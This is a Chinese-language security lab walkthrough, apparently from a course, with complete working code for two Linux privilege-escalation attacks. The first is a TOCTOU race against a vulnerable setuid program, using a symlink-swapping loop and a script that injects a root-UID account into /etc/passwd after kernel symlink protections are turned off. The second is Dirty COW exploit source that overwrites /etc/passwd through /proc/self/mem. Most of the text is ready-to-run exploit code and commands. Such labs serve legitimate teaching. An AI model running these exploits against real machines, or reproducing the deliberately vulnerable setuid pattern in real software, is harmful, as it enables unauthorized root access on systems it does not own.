Race Condition 实验

1. 准备实验程序 (vulp.c)

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}
```

按照如下命令对其进行编译并设置为setuid程序

```
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

# 关闭保护措施
# for ubuntu 16.04
sudo sysctl -w fs.protected_symlinks=0
# for ubuntu 12.04
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
```

2. 设置将要添加到/etc/passwd的用户行信息 (passwd_input)

```
echo "test:U6aMy0Wojraho:0:0:test:/root:/bin/bash" > passwd_input
```

3. 设置攻击进程来不断更改链接的指向 (attack_process.c)

```c
#include <unistd.h>

int main() {
    while(1) {
        unlink("/tmp/XYZ");
        symlink("/dev/null", "/tmp/XYZ");
        usleep(1000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(1000);
    }

    return 0;
}
```

将其编译：`gcc -o attack_process attack_process.c`

4. 编写脚本不断触发实验程序，实现race condtion (target_process.sh)

```bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
   ./vulp < ./passwd_input
   new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

5. 执行攻击

```bash
# 在窗口1执行attach_process来不断变换链接指向
./attack_process

# 在窗口2不断触发实验程序
bash target_process.sh

# 等待几分钟，会出现提示：STOP... The passwd file has been changed

# 查看效果
cat /etc/passwd
```

Dirty Cow （在Ubuntu 12.04上进行）

1. 添加一个测试用户testcow

```
sudo adduser testcow
```

2. 准备攻击程序

```
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/etc/passwd", O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "testcow:x:1001");

  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size);
  pthread_create(&pth2, NULL, writeThread, position);

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

void *writeThread(void *arg)
{
  char *content= "testcow:x:0000";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
```

```
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}
```

将其进行编译：`gcc dirty_cow.c -lpthread`生成a.out。

3. 执行攻击

```
# 执行如下程序几秒后手动ctrl+c结束
./a.out

# 查看结果
cat /etc/passwd
```